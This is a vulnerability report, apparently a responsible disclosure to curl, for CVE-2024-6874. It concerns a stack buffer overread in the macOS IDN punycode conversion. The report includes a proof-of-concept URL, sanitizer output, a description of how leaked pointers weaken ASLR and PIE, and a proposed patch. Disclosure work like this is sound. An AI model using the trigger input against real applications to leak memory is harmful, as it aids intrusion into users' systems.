curl · Report #2604391
CVE-2024-6874: macidn punycode buffer overread
How it was found
libcurl at commit 58772b0e082eda333e0a5fc8fb0bc7f17a3cd99c contains a stack-buffer overread in lib/idn.c:75 that can be triggered when the host of a URL is converted to punycode.
The root cause of the bug is in the function mac_idn_to_ascii():
static CURLcode mac_idn_to_ascii(const char *in, char **out)
{
// --- snip ---
UIDNAInfo info = UIDNA_INFO_INITIALIZER;
char buffer[256] = {0};
(void)uidna_nameToASCII_UTF8(idna, in, -1, buffer,
sizeof(buffer), &info, &err);
uidna_close(idna);
if(U_FAILURE(err)) {
return CURLE_URL_MALFORMAT;
}
else {
*out = strdup(buffer);
if(*out)
return CURLE_OK;
else
return CURLE_OUT_OF_MEMORY;
}
// --- snip ---
}
buffer is supposed to hold the punycode-encoded version of in as a NUL-terminated string. However
the implementation of uidna_nameToASCII_UTF8() leaves the output buffer unterminated when the length of the encoded output is equal to
the capacity of the output buffer (source).
This leaves buffer without a terminating NUL-byte and the subsequent call to strdup(buffer) includes bytes beyond buffer.
PoC
Consider the following dummy application that takes a URL as an argument and prints its punycode-encoded version:
int main (int argc, char** argv) {
CURLU* url = curl_url();
curl_url_set(url, CURLUPART_URL, argv[1], 0);
char* encoded_url;
curl_url_get(url, CURLUPART_URL, &encoded_url, CURLU_PUNYCODE);
printf("%s\n", encoded_url);
}
Then
./dummy "https://öööööö-ä-üxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxöööööööööööööööööüöäüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüöööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööxx"
results in the over-read:
==77491==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7e649e109750 at pc 0x5852e492c7b5 bp 0x7ffec1daa250 sp 0x7ffec1da9a10
READ of size 257 at 0x7e649e109750 thread T0
#0 0x5852e492c7b4 in strlen.part.0 asan_interceptors.cpp.o
#1 0x5852e4a1bf48 in curl_dbg_strdup curl/lib/memdebug.c:198:9
#2 0x5852e4a43e13 in mac_idn_to_ascii curl/lib/idn.c:75:14
#3 0x5852e4a4331f in idn_decode curl/lib/idn.c:244:12
#4 0x5852e4a43158 in Curl_idn_decode curl/lib/idn.c:274:21
#5 0x5852e4a28c6b in curl_url_get curl/lib/urlapi.c:1582:29
#6 0x5852e4a196ec in main dummy.c:6:4
Note: In order to trigger the vulnerability on a non-apple device, compile curl with -DUSE_APPLE_IDN -licuuc.
Exploitation Scenario
Exploitation of this bug has three strict requirements:
- An attacker has control over the URL in
curl_url_set() - The application manually calls
curl_url_get()withCURLU_PUNYCODEand the attacker-provided URL - The resulting URL is mirrored back to the attacker or used to make a transfer
For any application that fulfills these three requirements this vulnerability can be used to leak pointers in the stackframe of mac_idn_to_ascii().
Depending on what is adjacent to buffer the following information could be leaked:
- Base address of the stack when the framepointer follows
buffer - Base address of the application/libcurl when the return address follows
buffer(-fomit-frame-pointer) - Base address of the heap if the variable
UIDNA* idnafollows the buffer
Any of these information leaks bring down exploit mitigations like ASLR or PIE and contribute largely to successful exploitation of other memory corruption vulnerabilities.
Patch
I suggest the following patch, inspired by PHP's handling of uidna_nameToASCII_UTF8():
diff --git a/lib/idn.c b/lib/idn.c
index 8d6bfe7ce..b66e04a64 100644
--- a/lib/idn.c
+++ b/lib/idn.c
@@ -65,13 +65,14 @@ static CURLcode mac_idn_to_ascii(const char *in, char **out)
else {
UIDNAInfo info = UIDNA_INFO_INITIALIZER;
char buffer[256] = {0};
- (void)uidna_nameToASCII_UTF8(idna, in, -1, buffer,
+ int n = uidna_nameToASCII_UTF8(idna, in, -1, buffer,
sizeof(buffer), &info, &err);
uidna_close(idna);
- if(U_FAILURE(err)) {
+ if(U_FAILURE(err) || n < 0 || n >= sizeof(buffer)) {
return CURLE_URL_MALFORMAT;
}
else {
+ buffer[n] = 0;
*out = strdup(buffer);
if(*out)
return CURLE_OK;
Impact
The vulnerability
- does not affect the majority of curl installations
- has strict requirements to work
- even then only leads to an information leak and nothing worse
However, leaking memory content is still security-relevant so I suggest severity "Low".